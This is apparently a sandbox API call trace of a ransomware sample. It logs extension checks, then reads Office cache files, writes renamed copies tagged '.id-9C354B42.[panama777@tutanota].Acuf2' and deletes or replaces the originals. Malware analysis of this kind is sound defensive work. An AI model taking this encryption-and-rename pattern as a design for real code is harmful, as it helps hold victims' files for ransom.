	[0047.526] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80
	[0047.526] lstrlenW (lpString=".doc") returned 4
	[0047.526] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0047.526] lstrlenW (lpString=".docx") returned 5
	[0047.526] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0047.526] lstrlenW (lpString=".pdf") returned 4
	[0047.526] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0047.527] lstrlenW (lpString=".xls") returned 4
	[0047.527] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0047.527] lstrlenW (lpString=".xlsx") returned 5
	[0047.527] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0047.527] lstrlenW (lpString=".ppt") returned 4
	[0047.527] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0047.527] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80
	[0047.527] lstrlenW (lpString=".zip") returned 4
	[0047.527] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0047.527] lstrlenW (lpString=".rar") returned 4
	[0047.527] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0047.527] lstrlenW (lpString=".bz2") returned 4
	[0047.527] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0047.527] lstrlenW (lpString=".7z") returned 3
	[0047.527] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0047.527] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80
	[0047.527] lstrlenW (lpString=".dbf") returned 4
	[0047.527] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0047.527] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80
	[0047.527] lstrlenW (lpString=".1cd") returned 4
	[0047.527] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0047.527] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80
	[0047.527] lstrlenW (lpString=".jpg") returned 4
	[0047.527] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0047.528] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80
	[0047.528] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80
	[0047.528] lstrlenW (lpString=".doc") returned 4
	[0047.528] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0047.528] lstrlenW (lpString=".docx") returned 5
	[0047.528] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0047.528] lstrlenW (lpString=".pdf") returned 4
	[0047.528] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0047.528] lstrlenW (lpString=".xls") returned 4
	[0047.528] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0047.528] lstrlenW (lpString=".xlsx") returned 5
	[0047.528] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0047.528] lstrlenW (lpString=".ppt") returned 4
	[0047.528] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0047.528] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80
	[0047.528] lstrlenW (lpString=".zip") returned 4
	[0047.528] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0047.528] lstrlenW (lpString=".rar") returned 4
	[0047.528] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0047.528] lstrlenW (lpString=".bz2") returned 4
	[0047.528] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0047.528] lstrlenW (lpString=".7z") returned 3
	[0047.528] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0047.528] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80
	[0047.528] lstrlenW (lpString=".dbf") returned 4
	[0047.528] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0047.529] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80
	[0047.529] lstrlenW (lpString=".1cd") returned 4
	[0047.529] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0047.529] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80
	[0047.529] lstrlenW (lpString=".jpg") returned 4
	[0047.529] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0047.529] lstrcmpiW (lpString1=".EXE", lpString2=".Acuf2") returned 1
	[0047.529] lstrlenW (lpString="DW20.EXE") returned 8
	[0047.529] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0048.530] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=838536) returned 1
	[0048.530] CloseHandle (hObject=0x1e8) returned 1
	[0048.530] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 0x2020
	[0048.530] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0048.530] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0048.530] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.531] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.531] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0048.531] GetLastError () returned 0x0
	[0048.531] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x35afed4*=0xccb88, lpOverlapped=0x0) returned 1
	[0048.550] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xccb90, lpNumberOfBytesWritten=0x35afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afc9c*=0xccb90, lpOverlapped=0x0) returned 1
	[0048.567] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x35afed4*=0x0, lpOverlapped=0x0) returned 1
	[0048.568] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x35afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afc9c*=0xe4, lpOverlapped=0x0) returned 1
	[0048.568] SetEndOfFile (hFile=0x1e0) returned 1
	[0048.568] CloseHandle (hObject=0x1e0) returned 1
	[0048.568] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.568] SetEndOfFile (hFile=0x1e8) returned 1
	[0048.575] CloseHandle (hObject=0x1e8) returned 1
	[0048.575] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0048.576] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 1
	[0048.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71
	[0048.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71
	[0048.576] lstrlenW (lpString=".doc") returned 4
	[0048.576] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0048.576] lstrlenW (lpString=".docx") returned 5
	[0048.576] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1
	[0048.576] lstrlenW (lpString=".pdf") returned 4
	[0048.576] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0048.576] lstrlenW (lpString=".xls") returned 4
	[0048.576] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0048.576] lstrlenW (lpString=".xlsx") returned 5
	[0048.576] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1
	[0048.576] lstrlenW (lpString=".ppt") returned 4
	[0048.576] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0048.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71
	[0048.576] lstrlenW (lpString=".zip") returned 4
	[0048.576] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0048.577] lstrlenW (lpString=".rar") returned 4
	[0048.577] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0048.577] lstrlenW (lpString=".bz2") returned 4
	[0048.577] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0048.577] lstrlenW (lpString=".7z") returned 3
	[0048.577] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0048.577] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71
	[0048.577] lstrlenW (lpString=".dbf") returned 4
	[0048.577] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0048.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71
	[0048.692] lstrlenW (lpString=".1cd") returned 4
	[0048.692] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0048.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71
	[0048.692] lstrlenW (lpString=".jpg") returned 4
	[0048.692] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0048.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71
	[0048.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71
	[0048.692] lstrlenW (lpString=".doc") returned 4
	[0048.692] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0048.692] lstrlenW (lpString=".docx") returned 5
	[0048.692] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1
	[0048.692] lstrlenW (lpString=".pdf") returned 4
	[0048.692] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0048.692] lstrlenW (lpString=".xls") returned 4
	[0048.692] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0048.692] lstrlenW (lpString=".xlsx") returned 5
	[0048.692] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1
	[0048.692] lstrlenW (lpString=".ppt") returned 4
	[0048.692] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0048.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71
	[0048.692] lstrlenW (lpString=".zip") returned 4
	[0048.692] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0048.692] lstrlenW (lpString=".rar") returned 4
	[0048.692] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0048.693] lstrlenW (lpString=".bz2") returned 4
	[0048.693] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0048.693] lstrlenW (lpString=".7z") returned 3
	[0048.693] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0048.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71
	[0048.693] lstrlenW (lpString=".dbf") returned 4
	[0048.693] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0048.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71
	[0048.693] lstrlenW (lpString=".1cd") returned 4
	[0048.693] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0048.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71
	[0048.693] lstrlenW (lpString=".jpg") returned 4
	[0048.693] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0048.693] lstrcmpiW (lpString1=".msi", lpString2=".Acuf2") returned 1
	[0048.693] lstrlenW (lpString="OfficeMUISet.msi") returned 16
	[0048.693] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0048.693] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=868864) returned 1
	[0048.694] CloseHandle (hObject=0x208) returned 1
	[0048.694] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 0x2020
	[0048.694] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0048.694] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0048.694] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.694] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.694] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0048.694] GetLastError () returned 0x0
	[0048.694] ReadFile (in: hFile=0x208, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x35afed4*=0xd4200, lpOverlapped=0x0) returned 1
	[0048.892] WriteFile (in: hFile=0x1bc, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x35afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afc9c*=0xd4210, lpOverlapped=0x0) returned 1
	[0048.911] ReadFile (in: hFile=0x208, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x35afed4*=0x0, lpOverlapped=0x0) returned 1
	[0048.911] WriteFile (in: hFile=0x1bc, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x35afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0048.911] SetEndOfFile (hFile=0x1bc) returned 1
	[0048.911] CloseHandle (hObject=0x1bc) returned 1
	[0048.911] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.911] SetEndOfFile (hFile=0x208) returned 1
	[0048.919] CloseHandle (hObject=0x208) returned 1
	[0048.919] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0048.919] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 1
	[0048.919] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79
	[0048.919] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79
	[0048.919] lstrlenW (lpString=".doc") returned 4
	[0048.919] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0048.919] lstrlenW (lpString=".docx") returned 5
	[0048.919] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1
	[0048.919] lstrlenW (lpString=".pdf") returned 4
	[0048.919] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0048.920] lstrlenW (lpString=".xls") returned 4
	[0048.920] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0048.920] lstrlenW (lpString=".xlsx") returned 5
	[0048.920] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1
	[0048.920] lstrlenW (lpString=".ppt") returned 4
	[0048.920] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0048.920] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79
	[0048.920] lstrlenW (lpString=".zip") returned 4
	[0048.920] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0048.920] lstrlenW (lpString=".rar") returned 4
	[0048.920] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0048.920] lstrlenW (lpString=".bz2") returned 4
	[0048.920] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0048.920] lstrlenW (lpString=".7z") returned 3
	[0049.845] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0049.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79
	[0049.845] lstrlenW (lpString=".dbf") returned 4
	[0049.845] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0049.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79
	[0049.845] lstrlenW (lpString=".1cd") returned 4
	[0049.845] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0049.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79
	[0049.845] lstrlenW (lpString=".jpg") returned 4
	[0049.845] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0049.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79
	[0049.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79
	[0049.845] lstrlenW (lpString=".doc") returned 4
	[0049.845] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0049.845] lstrlenW (lpString=".docx") returned 5
	[0049.845] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1
	[0049.845] lstrlenW (lpString=".pdf") returned 4
	[0049.845] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0049.845] lstrlenW (lpString=".xls") returned 4
	[0049.845] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0049.845] lstrlenW (lpString=".xlsx") returned 5
	[0049.845] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1
	[0049.845] lstrlenW (lpString=".ppt") returned 4
	[0049.845] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0049.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79
	[0049.845] lstrlenW (lpString=".zip") returned 4
	[0049.845] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0049.845] lstrlenW (lpString=".rar") returned 4
	[0049.845] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0049.845] lstrlenW (lpString=".bz2") returned 4
	[0049.845] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0049.846] lstrlenW (lpString=".7z") returned 3
	[0049.846] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0049.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79
	[0049.846] lstrlenW (lpString=".dbf") returned 4
	[0049.846] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0049.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79
	[0049.846] lstrlenW (lpString=".1cd") returned 4
	[0049.846] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0049.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79
	[0049.846] lstrlenW (lpString=".jpg") returned 4
	[0049.846] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0049.846] lstrcmpiW (lpString1=".msi", lpString2=".Acuf2") returned 1
	[0049.846] lstrlenW (lpString="Office32WW.msi") returned 14
	[0049.846] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0049.908] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=1992192) returned 1
	[0049.908] CloseHandle (hObject=0x178) returned 1
	[0049.908] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020
	[0049.908] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0049.908] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0049.909] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0049.909] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc6c | out: lpNewFilePointer=0x0) returned 1
	[0049.909] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0049.909] ReadFile (in: hFile=0x178, lpBuffer=0x3c60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3c60058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0049.997] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0049.997] ReadFile (in: hFile=0x178, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0050.000] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35afc6c | out: lpNewFilePointer=0xffffffff) returned 1
